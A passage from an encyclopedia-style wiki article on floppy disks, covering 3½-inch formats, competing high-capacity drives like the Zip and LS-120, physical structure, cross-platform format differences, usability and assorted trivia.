The shutter mechanism was not without its problems, however. On old or roughly treated disks the shutter could bend away from the disk. This made it vulnerable to being ripped off completely (which does not damage the disk itself but does leave it much more vulnerable to dust) or worse catching inside a drive and possibly damaging it. If you see a disk with the cover bending away the best option is to rip the cover off (to make sure it does not catch in the drive) then immediately copy the data off it. Most modern floppies have a springy plastic cover that does not tend to bend away from the disk.

Like the 5¼-inch, the 3½-inch disk underwent an evolution of its own. They were originally offered in a 360 KB single-sided and 720 KB double-sided double-density format (the same as then-current 5¼-inch disks). A newer &quot;high-density&quot; format, displayed as &quot;HD&quot; on the disks themselves and storing 1440 KB of data, was introduced in the mid-80s (note: these capacities are using the relatively conservative standard PC formats). IBM used it on their [[PS/2]] series introduced in 1987. Apple started using &quot;HD&quot; in 1988, on the [[Macintosh IIx]]. It soon became nearly-universal on all PC's. Another advance in the oxide coatings allowed for a new &quot;extended-density&quot; (&quot;ED&quot;) format at 2880 KB introduced on the second generation [[NeXT Computer]]s in 1991, and on IBM PS/2 model 57 also in 1991, but by the time it was available it was already too small in capacity to be a useful advance over the HD format and never became widely used. The 3½-inch drives sold more than a decade later still used the same format that was standardized in 1989, in [[ISO 9529]]-1,2.

====Trivia====
*The formatted capacity of 3½-inch high-density floppies was originally 1440 [[kibibyte]]s, or 1,474,560 bytes. This is equivalent to 1.41 [[mebibyte|MiB]] (1.47 MB decimal). However, their capacity is usually reported as 1.44 MB by diskette manufacturers. The typical data transfer rate can be as much as 24 KB/s, depending on the drive unit. Likewise the ED format is typically referred to as 2.88 MB.

*In some places, especially [[South Africa]], 3½-inch floppy disks have commonly been called ''stiffies'' or ''stiffy  disks'', because of their &quot;stiff&quot; (rigid) cases, which are contrasted with the flexible &quot;floppy&quot; cases of 5¼-inch floppies. In Finnish, the term is ''korppu'' (rusk, crumpet, biscuit) due to its rigidity compared to 5¼-inch ''lerppu'' (floppy).

*Even if such a format was hardly officially supported on any system, it is possible to &quot;force&quot; a 3½-inch floppy disk drive to be recognized by the system as a 5¼-inch 360 KB or 1200 KB one (on [[IBM PC|PC]]s and [[PC compatible|compatible]]s, this can be done by simply changing the [[CMOS]] [[BIOS]] settings) and thus format and read non-standard disk formats, such as a double sided 360 KB 3½-inch disk. Possible applications include data exchange with obsolete CP/M systems, for example with an [[Amstrad CPC]].

==Floppy killers==

Through the early 1990s a number of attempts were made by various companies to introduce newer floppy-like formats based on the now-universal 3½-inch physical format. Most of these systems provided the ability to read and write standard DD and HD disks, while at the same time introducing a much higher-capacity format as well. There were a number of times where it was felt that the existing floppy was just about to be replaced by one of these newer devices, but a variety of problems ensured this never took place. None of these ever reached the point where it could be assumed that every current PC would have one, and they have now largely been replaced by [[CD-R|CD burners]] and [[USB flash drive]]s.

The main technological change was the addition of tracking information on the disk surface to allow the read/write heads to be positioned more accurately. Normal disks have no such information, so the drives use the tracks themselves with a [[feedback loop]] in order to center themselves. The newer systems generally used marks burned onto the surface of the disk to find the tracks, allowing the track width to be greatly reduced.

====Flextra====
As early as 1988, Brier Technology introduced the Flextra BR 3020, which boasted 21.4 MB (marketing, true size was 21,040 KiB&lt;!--- 2 sides * 526 cyl * 40 tracks * 512 bytes ---&gt;, 25 MiB unformatted). Later the same year it introduced the BR3225, which doubled the capacity. This model could also read standard 3½-inch disks.

Apparently it used 3½-inch standard disks which had servo information embedded on them for use with the Twin Tier Tracking technology.

====Floptical====
In 1991, Insite Peripherals introduced the &quot;[[Floptical]]&quot;, which used an [[infra-red]] [[LED]] to position the heads over marks in the disk surface. The original drive stored 21MiB, while also reading and writing standard DD and HD floppies. In order to improve data transfer speeds and make the high-capacity drive usefully quick as well, the drives were attached to the system using a [[SCSI]] connector instead of the normal floppy controller. This made them appear to the [[operating system]] as a hard drive instead of a floppy, meaning that most PC's were unable to boot from them. This again adversely affected adoption rates.

Insite licenced their technology to a number of companies, who introduced compatible devices as well as even larger-capacity formats. Most popular of these, by far, was the LS-120, mentioned below.

====Zip drive====
In 1994, [[Iomega]] introduced the [[Zip drive]]. Not true to the 3½-inch form factor, hence not compatible with the standard 1.44 MB floppies, it became the most popular of the &quot;super floppies&quot; and is included here for completeness. It boasted 100 MB, later 250 MB, and then 750 MB of storage and came to market at just the right time.  Zip drives gained in popularity for several years, but never reached the stage of widespread use.

====LS-120====
Announced in 1995, the &quot;[[SuperDisk]]&quot; drive, often seen with the brand names [[Matsushita]] (Panasonic) and [[Imation]], had an initial capacity of 120 MB (120.375 [[Mebibyte|MiB]]&lt;!-- 6848 cylinders * 36 blocks/cylinder * 512 bytes [http://linuxcommand.org/man_pages/floppy8.html] --&gt;) using even higher density &quot;LS-120&quot; disks. It was subsequently upgraded (&quot;LS-240&quot;) to 240 MB (240.75 MiB). Not only could the drive read and write 1440 KB disks, but the last versions of the drives could write 32 MB &lt;!-- true capacity is what? --&gt; onto a normal 1440 KB disk ([[#Ultimate capacity, speed|see note below]]). Unfortunately, popular opinion held the Super Disk disks to be quite unreliable, though no more so than the [[Zip drive|Zip drives]] and [[SyQuest Technology]] offerings of the same period. This again, true or otherwise, crippled adoption.

====Sony HiFD====
Sony introduced their own floptical-like system in 1997 as the 150 MiB [[Sony HiFD]]. Although by this time the LS-120 had already garnered some market penetration, industry observers nevertheless confidently predicted the HiFD would be the real floppy-killer and finally replace floppies in all machines. However, after only a short time on the market the product was pulled, as it was discovered there were a number of truly terrible performance and reliability problems that made the system essentially unusable. Sony then re-engineered the device for a quick re-release, but then extended the delay well into 1998 instead and increased the capacity to 200 MiB while they were at it. By this point the market was already saturated by the Zip disk, and it never really had much of a market.

====Caleb Technology’s UHD144====
Little is known about this device except that it surfaced early in 1998 as the '''it drive''', and provided 144 MB of storage while also being compatible with the standard 1.44 MB floppies. It was slower than the competitors, but cheaper, media running about $8 at introduction and $5 soon after.

== Structure ==

[[Image:5.25 in. floppy disk drive top.jpg|thumbnail|right|250px|A user inserts the floppy disk, medium opening first, into a 5¼-inch floppy disk drive (pictured, an internal model) and moves the lever down (by twisting on this model) to close the drive and engage the motor and heads with the disk.]]

The 5¼-inch disk had a large circular hole in the center for the spindle of the drive and a small oval aperture in both sides of the plastic to allow the heads of the drive to read and write the data. The magnetic medium could be spun by rotating it from the middle hole. A small notch on the right hand side of the disk would identify whether the disk was read-only or writable, detected by a mechanical switch or [[photo transistor]] above it. Another LED/phototransistor pair located near the center of the disk could detect a small hole once per rotation, called the index hole, in the magnetic disk. It was used to detect the start of each [[track]], and whether or not the disk rotated at the correct speed; some operating systems, such as [[Apple DOS]], did not use index sync, and often the drives designed for such systems lacked the index hole sensor. Disks of this type were said to be ''soft [[sector]]'' disks.  Very early 8-inch and 5¼-inch disks also had physical holes for each sector, and were termed ''[[hard sectoring|hard sector]]'' disks. Inside the disk were two layers of fabric designed to reduce friction between the media and the outer casing, with the media sandwiched in the middle. The outer casing was usually a one-part sheet, folded double with flaps glued or spot-melted together. A catch was lowered into position in front of the drive to prevent the disk from emerging, as well as to raise or lower the spindle.

The 3½-inch disk is made of two pieces of rigid plastic, with the fabric-medium-fabric sandwich in the middle.  The front has only a label and a small aperture for reading and writing data, protected by a spring-loaded metal cover, which is pushed back on entry into the drive.
[[Image:Floppy disk drive top (cover removed).jpg|left|thumbnail|250px|The 3½-inch floppy disk drive automatically engages when the user inserts a disk, and disengages and ejects with the press of a button, or by motor on the [[Apple Macintosh]].]]

The reverse has a similar covered aperture, as well as a hole to allow the spindle to connect into a metal plate glued to the media. Two holes, bottom left and right, indicate the write-protect status and high-density disk correspondingly, a hole meaning protected or high density, and a covered gap meaning write-enabled or low density. (Incidentally, the write-protect and high-density holes on a 3½-inch disk are spaced exactly as far apart as the holes in punched [[A4 paper size|A4]] paper (8 cm), allowing write-protected floppies to be clipped into European [[ring binder]]s.) A notch top right ensures that the disk is inserted correctly, and an arrow top left indicates the direction of insertion. The drive usually has a button that, when pressed, will spring the disk out at varying degrees of force. Some would barely make it out of the disk drive; others would shoot out at a fairly high speed. In a majority of drives, the ejection force is provided by the spring that holds the cover shut, and therefore the ejection speed is dependent on this spring. In [[IBM PC compatible|PC]]-type machines, a floppy disk can be inserted or ejected manually at any time (evoking an error message or even lost data in some cases), as the drive is not continuously monitored for status and so programs can make assumptions that do not match actual status (i.e., disk 123 is still in the drive and has not been altered by any other agency). With Apple [[Apple Macintosh|Macintosh]] computers, disk drives are continuously monitored by the OS; a disk inserted is automatically searched for content and one is ejected only when the software agrees the disk should be ejected. This kind of disk drive (starting with the slim &quot;Twiggy&quot; drives of the late Apple &quot;Lisa&quot;) does not have an eject button, but uses a motorized mechanism to eject disks; this action is triggered by the OS software (e.g. the user dragged the &quot;drive&quot; icon to the &quot;trash can&quot; icon). Should this not work (as in the case of a power failure or drive malfunction), one can insert a straight-bent [[paperclip]] into a small hole at the drive's front, thereby forcing the disk to eject (similar to that found on CD/DVD drives).

The 3-inch disk bears much similarity to the 3½-inch type, with some unique and somehow curious features. One example is the rectangular-shaped plastic casing, almost taller than a 3½-inch disk, but narrower, and more than twice as thick, almost the size of a standard [[compact audio cassette]]. This made the disk look more like a greatly oversized present day [[memory card]] or a standard [[PCMCIA]] notebook expansion card rather than a floppy disk. Despite the size, the actual 3-inch magnetic-coated disk occupied less than 50% of the space inside the casing, the rest being used by the complex protection and sealing mechanisms implemented on the disks. Such mechanisms were largely responsible for the thickness, length and high costs of the 3-inch disks. On the Amstrad machines the disks were typically flipped over to use both sides, as opposed to being truly double-sided. Double-sided mechanisms were available but rare.

==Current situation==
The 8-inch, 5¼-inch and 3-inch formats can be considered almost totally dead. 3½-inch drives and disks are still widely available. As of 2005 3½-inch drives are still common equipment on many new PCs other than laptops. On others, they are either optional, or can be purchased as aftermarket equipment.  Even after the beginning of 2006, there have been floppy disks at some retail computer stores.

However, the advent of other portable storage options, such as [[Zip drive|Zip disks]], [[USB]] storage devices and [[CD-R|recordable]] or [[CD-RW|rewritable]] [[Compact disc|CDs]], and the rise of multi-[[megapixel]] [[digital photography]] have encouraged the creation and use of files larger than most 3½-inch disks can hold. In addition, the increasing availability of broadband and wireless [[Internet]] connections is decreasing the utility of removable storage devices overall. The 3½-inch floppy is growing as obsolete as its larger cousin became a decade before.  However, the 3½-inch floppy has been in continued use longer than the 5¼-inch floppy.

Some manufacturers have stopped offering 3½-inch drives on new computers as standard equipment. The Apple Macintosh, which popularized the format in 1984, began to move away from it in 1998 with the [[iMac]] model&amp;mdash;possibly prematurely, since the basic model iMac of the time only had a CD-ROM drive, giving users no easy access to removable media. This made USB-connected floppy drives a popular accessory for the early iMacs. In February 2003, [[Dell, Inc.]] announced that they would no longer include floppy drives on their [[Dell Dimension]] home computers as standard equipment, although they are available as a selectable option for around $20. Many USB mass storage devices, primarily [[USB flash drive|flash drives]], had their prices fall below the price of both internal and external floppy disk drives.

==Compatibility==

In general, different physical sizes of floppy disks are incompatible by definition, and disks can be loaded only on the correct size of drive. There were some drives available with both 3½-inch and 5¼-inch slots that were popular in the transition period between the sizes.

However, there are many more subtle incompatibilities within each form factor.  Consider, for example, the following Apple/IBM 'schism':  Apple Macintosh computers can read, write and format IBM PC-format 3½-inch diskettes, provided suitable software is installed. However, many IBM-compatible computers use floppy disk drives that are unable to read (or write) Apple-format disks. For details on this, see the section ''[[Floppy disk#More on floppy disk formats|More on floppy disk formats]]''.

Within the world of IBM-compatible computers, the three densities of 3½-inch floppy disks are partially compatible. Higher density drives are built to read, write and even format lower density media without problems, provided the correct media is used for the density selected. However, if by whatever means a diskette is formatted at the wrong density, the result is a substantial risk of data loss due to magnetic mismatch between oxide and the drive head's writing attempts. Still, a fresh diskette that has been manufactured for high density use can theoretically be formatted as double density, but only if ''no'' information has ever been written on the disk using high density mode (for example, HD diskettes that are pre-formatted at the factory are out of the question). The magnetic strength of a high density record is stronger and will &quot;overrule&quot; the weaker lower density, remaining on the diskette and causing problems. However, in practice there are people who use downformatted (ED to HD, HD to DD) or even overformatted (DD to HD) without apparent problems; see the ''[[Floppy disk#Floppy trivia|Floppy trivia]]'' section. Doing so always constitutes a data risk, so one should weigh out the benefits (e.g. increased space and/or interoperability) versus the risks (data loss, permanent disk damage).

The situation was even more complex with 5¼-inch diskettes. The head gap of an 80 track (1200 KB in the PC world) drive is shorter than that of a 360 KB drive, but will format, read and write 40 track (360 KB in the PC world) diskettes with apparent success provided the controller supports double stepping (or the manufaturer fitted a switch to do double stepping in hardware). A blank 40 track disk formatted and written on an 80 track drive can be taken to a 40 track drive without problems, similarly a disk formatted on a 40 track drive can be used on an 80 track drive. But a disk written on a 40 track drive and updated on an 80 track drive becomes permanently unreadable on any 360 KB drive, owing to the incompatibility of the track widths (special, very slow programs could have been used to overcome this problem). There are several other 'bad' scenarios.

Prior to the problems with head and track size, there was a period when just trying to figure out which side of a &quot;single sided&quot; diskette was the right side was a problem. Both [[Radio Shack]] and Apple used 360 KB single sided 5¼-inch disks, and both sold disks labeled &quot;single sided&quot; were certified for use on only one side, even though they in fact were coated in magnetic material on both sides. The irony was that the disks would work on both Radio Shack and Apple machines, yet the Radio Shack [[TRS-80]] Model I computers used one side and the [[Apple II family|Apple II]] machines used the other, regardless of whether there was software available which could make sense of the other format.

For quite a while in the 1980s, users could purchase a special tool called a &quot;disk notcher&quot; which would allow them to cut a second &quot;write unprotect&quot; notch in these diskettes and thus use them as &quot;flippies&quot; (either inserted as intended or upside down): both sides could now be written on and thereby the data storage capacity was doubled. Other users made do with a steady hand and a [[hole punch]] or [[scissors]]. For re-protecting a disk side, one would simply place a piece of opaque tape over the notch or hole in question&lt;!--wouldn't you need a second hole for the sector 0 indexing as well?--&gt;. These &quot;flippy disk procedures&quot; were followed by owners of practically every home-computer single sided disk drives. Proper disk labels became quite important for such users.

== More on floppy disk formats ==

=== Using the disk space efficiently ===
In general, data is written to floppy disks in a series of sectors, angular blocks of the disk, and in tracks, concentric rings at a constant radius, e.g. the HD format of 3½-inch floppy disks uses 512 bytes per sector, 18 sectors per track, 80 tracks per side and two sides, for a total of 1,474,560 bytes per disk. (Some disk controllers can vary these parameters at the user's request, increasing the amount of storage on the disk, although these formats may not be able to be read on machines with other controllers; e.g. [[Microsoft]] applications were often distributed on [[Distribution Media Format]] (DMF) disks, a hack that allowed 1.68 MB (1680 KiB) to be stored on a 3½-inch floppy by formatting it with 21 sectors instead of 18, while these disks were still properly recognized by a standard controller.) On the [[IBM PC]] and also on the [[MSX]], [[Atari ST]], [[Amstrad CPC]], and most other microcomputer platforms, disks are written using a [[Constant Angular Velocity|Constant Angular Velocity (CAV)]]&amp;mdash;Constant Sector Capacity format. This means that the disk spins at a constant speed, and the sectors on the disk all hold the same amount of information on each track regardless of radial location.

However, this is not the most efficient way to use the disk surface, even with available drive electronics. Because the sectors have a constant angular size, the 512 bytes in each sector are packed into a smaller length near the disk's center than nearer the disk's edge. A better technique would be to increase the number of sectors/track toward the outer edge of the disk, from 18 to 30 for instance, thereby keeping constant the amount of physical disk space used for storing each 512 byte sector (see ''[[zone bit recording]]''). Apple implemented this solution in the early Macintosh computers by spinning the disk slower when the head was at the edge while keeping the data rate the same, allowing them to store 400 KB per side, amounting to an extra 160 KB on a double-sided disk.  This higher capacity came with a serious disadvantage, however: the format required a special drive mechanism and control circuitry not used by other manufacturers, meaning that Mac disks could not be read on any other computers. Apple eventually gave up on the format and used standard HD floppy drives on their later machines.

=== The Commodore 64/128 ===
Commodore started its tradition of special disk formats with the 5¼-inch disk drives accompanying its [[Commodore PET|PET/CBM]], [[Commodore VIC-20|VIC-20]] and [[Commodore 64]] home computers, like the [[Commodore 1540|1540]] and (better-known) [[Commodore 1541|1541]] drives used with the latter two machines. The standard Commodore [[Group Code Recording]] scheme used in 1541 and compatibles employed four different data rates depending upon track position (see ''[[zone bit recording]]''). Tracks 1 to 17 had 21 sectors, 18 to 24 had 19, 25 to 30 had 18, and 31 to 35 had 17, for a disk capacity of 170 KB (170.75 KiB&lt;!--- (17*21 + 7*19 + 6*18 + 5*17) *256 = 174,848 bytes ---&gt;).

Eventually Commodore gave in to disk format standardization, and made its last 5¼-inch drives, the [[Commodore 1570|1570]] and [[Commodore 1571|1571]], compatible with [[Modified Frequency Modulation|Modified Frequency Modulation (MFM)]], to enable the [[Commodore 128]] to work with [[CP/M]] disks from several vendors. Equipped with one of these drives, the C128 was able to access both C64 and CP/M disks, as it needed to, as well as MS-DOS disks (using third-party software), which was a crucial feature for some office work.

Commodore also offered its 8-bit machines a 3½-inch 800 KB disk format with its [[Commodore 1581|1581]] disk drive.

=== The Commodore Amiga ===
The [[Commodore International|Commodore]] [[Commodore Amiga|Amiga]] computers used an 880 KB format (eleven 512-byte sectors per track&lt;!--- times 80 tracks, times two sides ---&gt;) on a 3½-inch floppy. Because the entire track was written at once, inter-sector gaps could be eliminated, saving space. The Amiga floppy controller was much more flexible than the one on the PC: it did not impose arbitrary format restrictions, and foreign formats such as the IBM PC could also be handled (by use of CrossDos, which was included in later versions Workbench). On the PC, however, there is no way to read an Amiga disk without special hardware or a second floppy drive ([http://www.jschoenfeld.com/products/catweasel_e.htm][http://www.oldskool.org/disk2fdi]), which is also a crucial reason for an [[emulator]] being technically unable to access real Amiga disks inserted in a standard PC floppy disk drive.

Commodore never upgraded the [[Original Amiga chipset|Amiga chip set]] to support high-density floppies, but sold a custom drive (made by Chinon) that spun at half speed (150 [[RPM]]) when a high-density floppy was inserted, enabling the existing floppy controller to be used.
This drive was introduced with the launch of the [[Amiga 3000]], although the later [[Amiga 1200]] was only fitted with the standard DD drive.
The Amiga HD disks could handle 1760 KB, but using special software programs it could hold even more data. A company named Kolff Computer Supplies also made an external HD floppy drive (KCS Dual HD Drive) available which could handle HD format diskettes on all Amiga computer systems. They were also famous for the KCS Power Cartridge.

Because of storage reasons, the use of emulators and preserving data, many disks were packed into disk-images. Currently popular formats are &lt;tt&gt;.ADF&lt;/tt&gt; ([[Amiga Disk File]]), &lt;tt&gt;.DMS&lt;/tt&gt; ([[DiskMasher]]) and &lt;tt&gt;.IPF&lt;/tt&gt; ([[Interchangeable Preservation Format]]) files. DiskMasher is copyright protected and had problems storing particular sequences of bits due to bugs in the compression algorithm, it was also widely used in the pirate and demo scenes. [[Amiga Disk File|ADF]] has been around for almost as long as the Amiga itself though it was not initially called by that name. Only with the advent of the Internet and Amiga emulators has it become a popular way of distributing disk images. IPF files were created to allow preservation of commercial games, which is something that ADF and DMS unfortunately cannot do.

=== The Acorn Archimedes ===
Another machine using a similar &quot;advanced&quot; disk format was the British [[Acorn Archimedes]], which could store 800K on a 3½-inch DD floppy using the ADFS D and E formats. Later Archimedes models and the [[Risc PC]] could also store 1600 KB on a 3½-inch HD floppy using ADFS's F format. It could also read and write disk formats from other machines, for example the Atari ST and the IBM PC. It was also capable of reading and writing the 640K format of earlier versions of ADFS for the BBC model B, B+, Master and the Acorn Electron. With third party software it could even read the BBC Micro's original single density DFS disks. The Amiga's disks could not be read as they used a non-standard sector size and unusual sector gap markers.

=== 12-inch floppy disks ===
In the late 1970s some IBM mainframes also used a 12-inch (30 cm) floppy disk, but little information is currently available about their internal format or capacity.

=== 4-inch floppies ===
IBM in the mid-80s developed a 4-inch floppy. This program was driven by aggressive cost goals, but missed the pulse of the industry. The prospective users, both inside and outside IBM, preferred standardization to what by release time were small cost reductions, and were unwilling to retool packaging, interface chips and applications for a proprietary design. The product never appeared in the light of day, and IBM wrote off several hundred million dollars of development and manufacturing facility.

=== Auto-loaders ===
IBM developed, and several companies copied, an autoloader mechanism that could load a stack of floppies one at a time into a drive unit. These were very bulky systems, and suffered from media hangups and chew-ups more than anyone liked, but they were a partial answer to replication and large removable storage needs. The smaller 5¼- and 3½-inch floppy made this a much easier technology to perfect.

=== Floppy mass storage ===
A number of companies, including IBM and Burroughs, experimented with using large numbers of unenclosed disks to create massive amounts of storage. The Burroughs system used a stack of 256 12-inch disks, spinning at high speed. The disk to be accessed was selected by using air jets to part the stack, and then a pair of heads flew over the surface as in any standard hard disk drive. This approach in some ways anticipated the Bernoulli disk technology from Iomega, but [[head crash]]es or air failures were spectacularly messy. The program did not reach production.

=== 2-inch floppy disks ===
A small floppy disk was also used in the late 1980s to store video information for still video cameras such as the [[Sony]] Mavica (not to be confused with current Digital [[Mavica]] models) and the Ion and Xapshot cameras from [[Canon (company)|Canon]].  It was officially referred to as a Video Floppy (or VF for short).

VF was not a digital data format; each track on the disk stored one video field in the analog [[interlace]]d [[composite video]] format in either the North American [[NTSC]] or European [[PAL]] standard. This yielded a capacity of 25 images per disk in frame mode and 50 in field mode.

The same media was used digitally formatted - 720 KB double-sided, double-density - in the [[Zenith Minisport]] laptop computer circa 1989. Although the media exhibited nearly identical performance to the 3½-inch disks of the time, it was not successful.

=== Ultimate capacity, speed ===

It is not easy to provide an answer for data capacity, as there are many factors involved, starting with the particular disk format used. The differences between formats and encoding methods can result in data capacities ranging from 720 KB or less up to 1.72 [[megabyte]]s (MB&lt;!--- true capacity is what? ---&gt;) or even more on a standard 3½-inch high-density floppy, just from using special floppy disk software, such as the [[fdformat]] utility, which enables &quot;standard&quot; 3½-inch HD floppy drives to format HD disks at 1.62, 1.68 or 1.72 MB&lt;!--- true capacity is what? ---&gt;, though reading them back on another machine is another story. These techniques require much tighter matching of drive head geometry between drives; this is not always possible and cannot be relied upon. The LS-240 drive supports a (rarely used) 32 MB&lt;!--- true capacity is what? ---&gt; capacity on standard 3½″ HD floppies&amp;mdash;it is, however, a write-once technique, and cannot be used in a read/write/read mode. All the data must be read off, changed as needed and rewritten to the disk. And it requires an LS-240 drive to read.
 
Sometimes, however, manufacturers provide an &quot;unformatted capacity&quot; figure, which is roughly 2.0 MB&lt;!--- true capacity is what? ---&gt; for a standard 3½-inch HD floppy, and should imply that data density cannot (or should not) exceed a certain amount. There are, however, some special hardware/software tools, such as the [[CatWeasel]] [[floppy disk controller]] and software, which claim up to 2.23 MB&lt;!--- true capacity is what? ---&gt; of ''formatted'' capacity on a HD floppy. Such formats are not standard, hard to read in other drives and possibly even later with the same drive, and are probably not very reliable. It is probably true that floppy disks can surely hold an extra 10&amp;ndash;20% formatted capacity versus their &quot;nominal&quot; values, but at the expense of reliability or hardware complexity.

3½-inch HD floppy drives typically have a transfer rate of 500 kilo[[baud]]. While this rate cannot be easily changed, overall performance can be improved by optimizing drive access times, shortening some [[BIOS]] introduced delays (especially on the [[IBM PC]] and [[IBM PC compatible|compatible]] platforms), and by changing the '''sector:shift''' parameter of a disk, which is, roughly, the numbers of sectors that are skipped by the drive's head when moving to the next track.

This happens because sectors are not typically written exactly in a sequential manner but are scattered around the disk, which introduces yet another delay. Older machines and controllers may take advantage of these delays to cope with the data flow from the disk without having to actually stop it.

By changing this parameter, the actual sector sequence may become more adequate for the machine's speed. For example, an IBM format 1440 KB disk formatted with a sector:shift ratio of 3:2 has a sequential reading time (for reading ''all'' of the disk in one go) of just 1 minute, versus 1 minute and 20 seconds or more of a &quot;normally&quot; formatted disk. It is interesting to note that the &quot;specially&quot; formatted disk is very&amp;mdash;if not completely&amp;mdash;compatible with all standard controllers and BIOS, and generally requires no extra software drivers, as the BIOS generally &quot;adapts&quot; well to this slightly modified format.

== Usability ==

One of the chief [[usability]] problems of the floppy disk is its vulnerability. Even inside a closed plastic housing, the disk medium is still highly sensitive to dust, condensation and temperature extremes. As with any magnetic storage, it is also vulnerable to magnetic fields. Blank floppies have usually been distributed with an extensive set of warnings, cautioning the user not to expose it to conditions which can endanger it.

Users damaging floppy disks (or their contents) were once a staple of &quot;stupid user&quot; folklore among computer technicians. These stories poked fun at users who stapled floppies to papers, made [[facsimile machine|faxes]] or [[photocopier|photocopies]] of them when asked to &quot;copy a disk&quot;, or stored floppies by holding them with a magnet to a file cabinet. The flexible 5¼-inch disk could also (folklorically) be abused by rolling it into a [[typewriter]] to type a label, or by removing the disk medium from the plastic enclosure to store it safely.

On the other hand, the 3½-inch floppy has also been lauded for its mechanical usability by HCI expert [[Donald Norman]] (here quoted from his book ''[[The Design of Everyday Things]]'', Chapter 1):

:A simple example of a good design is the 3½-inch magnetic diskette for computers, a small circle of &quot;floppy&quot; magnetic material encased in hard plastic. Earlier types of floppy disks did not have this plastic case, which protects the magnetic material from abuse and damage. A sliding metal cover protects the delicate magnetic surface when the diskette is not in use and automatically opens when the diskette is inserted into the computer. The diskette has a square shape: there are apparently eight possible ways to insert it into the machine, only one of which is correct. What happens if I do it wrong? I try inserting the disk sideways. Ah, the designer thought of that. A little study shows that the case really isn't square: it's rectangular, so you can't insert a longer side. I try backward. The diskette goes in only part of the way. Small protrusions, indentations, and cutouts, prevent the diskette from being inserted backward or upside down: of the eight ways one might try to insert the diskette, only one is correct, and only that one will fit. An excellent design.

==The floppy as a metaphor==

For more than two decades, the floppy disk was the primary ''external'' writable storage device used. Also, in a non-network environment, floppies have been the primary means of transferring data between computers (sometimes jokingly referred to as ''[[Sneakernet]]'' or ''Frisbeenet''). Floppy disks are also, unlike hard disks, handled and seen; even a novice user can identify a floppy disk (although this may change as they become less common). Because of all these factors, the image of the floppy disk has become a metaphor for saving data, and the floppy disk symbol is often seen in programs on buttons and other user interface elements related to saving files.

==Floppy trivia==
* If the cable for a 3½-inch floppy disk drive is incorrectly connected to the floppy drive controller with a 180°-twist, the floppy drive LED will remain on.
* In the early days, manufacturers of &quot;single sided&quot; floppy disks would advise consumers that they &quot;certified&quot; only one side (hence the name single-sided), and if the user wanted to use the other side of the diskette, they should buy the more expensive &quot;double-sided&quot; variety of floppy disks. Consumers quickly found out that the single-sided diskettes were usable on ''both'' sides regardless.
* On the disk drives of the old [[Atari 8-bit family]] of computers, the drive activity indicator [[light-emitting diode|LED]]s were actually part of the power circuit. If they burned out, the drive would stop working.
* On the disk drives of the [[Atari ST]], [[Commodore computer]]s, and possibly others as well, the drive activity indicator LEDs are software controllable. This was put to use in some games, for example in the ST version of ''[[Lemmings]]'', where the LED would blink as the three last building bricks were used by the bridge builder lemming. In the absence of audio cues (e.g., when not listening to the in-game sound), this was critical to prevent the builder lemming from falling down after completing a bridge.
* It was possible with the [[Commodore 1541]] and [[Commodore 1571|1571]] disk drives to vibrate the head carriage against a &quot;Track-0&quot; head stop at varying frequencies to create simple musical melodies (e.g., ''[[Amazing Grace]]'' or ''[[James Bond music|the James Bond Theme]]).
* There is an [[urban myth]] that it is safe to view a [[solar eclipse]] through the film of a floppy removed from its case. Despite some anecdotal support, this is in fact dangerous and can lead to retina damage and even blindness ([http://www.mreclipse.com/Special/filters.html], [http://www.flycapers.com/tours/voyages/eyesafety.html]). Moreover, it produces poor image quality compared to filters designed for this purpose.
*3½-inch disks were frequently advertised in Europe as &quot;88,9 mm disks&quot;&amp;mdash;an accurate, if overly precise, conversion, but the disks are actually 90 mm wide.
* The holes on the right side of a 3½-inch disk can be altered as to 'fool' some [[disk drives]] or [[operating system|operating systems]] (others such as the [[Acorn Archimedes]] simply do not care about the holes) into treating the disk as a higher or lower density one, for backwards compatibility or economical reasons. Popular modifications include:
** Drilling or cutting an extra hole into the right-lower side of a 3½-inch DD disk (symmetrical to the write-protect hole) in order to format the DD disk into a HD one. This was a popular practice during the early 1990s, as most people switched to HD from DD during those days and some of them &quot;converted&quot; some or all of their DD disks into HD ones, for gaining an extra &quot;free&quot; 720 KiB of disk space. The success ratio was very high, especially as late DD disks used the same materials as HD ones, so they had no problem supporting the higher density. In general, only very old (made before 1989) DD disks were likely to exhibit faults and read/write errors.
** Vice versa, taping the right hole on a HD 3½-inch disk enables it to be 'downgraded' to DD format. This may sound counterproductive at first, but there are practical scenarios,  e.g. compatibility issues with older computers, drives or devices that use DD floppies, like some electronic [[keyboard instrument]]s and [[samplers]] [http://www.carolrpt.com/disks.htm] where a 'downgraded' disk can be useful, as factory-made DD disks have become hard to find after the mid-1990s. See the section ''&quot;Compatibility&quot;'' above.  It is important to note that due to read/write voltage differences in the heads of DD vs. HD disks, writing to an HD floppy with a DD drive (or an HD drive in DD mode) is widely considered to be a highly unreliable method of storing data.
***Note: By default, many older HD drives will recognize ED disks as DD ones, since they lack the HD-specific holes and the drives lack the sensors to detect the ED-specific hole. Most DD drives will also handle ED (and some even HD) disks as DD ones.
** Similarly, drilling an HD-like hole (under the ED one) into an ED (2880 KiB) disk for 'downgrading' it to HD (1440 KiB) format. This can turn useful if there are many unusable ED disks due to the lack of a specific ED drive, which can now be used as normal HD disks. In general, they work pretty well.
** Finally, it is possible to &quot;upgrade&quot; a HD disk into an ED one by drilling an ED-positioned hole above the HD one, although the considerations made for DD vs HD disk material are probably not valid for HD vs ED, and such &quot;upgraded&quot; disks are probably not reliable.
** Double disk 'upgrades' or 'downgrades' are possible by drilling ED holes into DD disks or taping ED disks.
* [[New Order]]'s classic dance track &quot;[[Blue Monday (New Order song)|Blue Monday]]&quot; owes some of its popularity to the 12-inch version of the single initially being shipped in a sleeve designed to resemble a 5¼-inch floppy. Legend has it that it was so expensive to produce the sleeve that [[Factory Records]] lost money despite the single's runaway success. [[Fatboy Slim]]'s 1995 album ''[[Better Living Through Chemistry (album)|Better Living Through Chemistry]]'' features a 3½-inch floppy with the track names on its label as the main album art in homage to Blue Monday.

==See also==
* [[RaWrite2]] (a floppy disk image file writer/creator)
* [[Zip drive]] (a newer, larger and proprietary format for removable storage)
* On [[Unix]] or [[Unix-like]] systems the [[Dd (Unix)|dd]] program can be used to write an image to a floppy.
* [[Don't Copy That Floppy]]

==References==
* [[Donald Norman|Norman, Donald]] (1990). ''The Design of Everyday Things''. Currency, Reissue edition. ISBN 0385267746.
* Weyhrich, Steven (2005). [http://apple2history.org/history/ah05.html &quot;The Disk II&quot;] &amp;ndash; A detailed essay describing one of the first commercial floppy disk drives (from the Apple II History website)
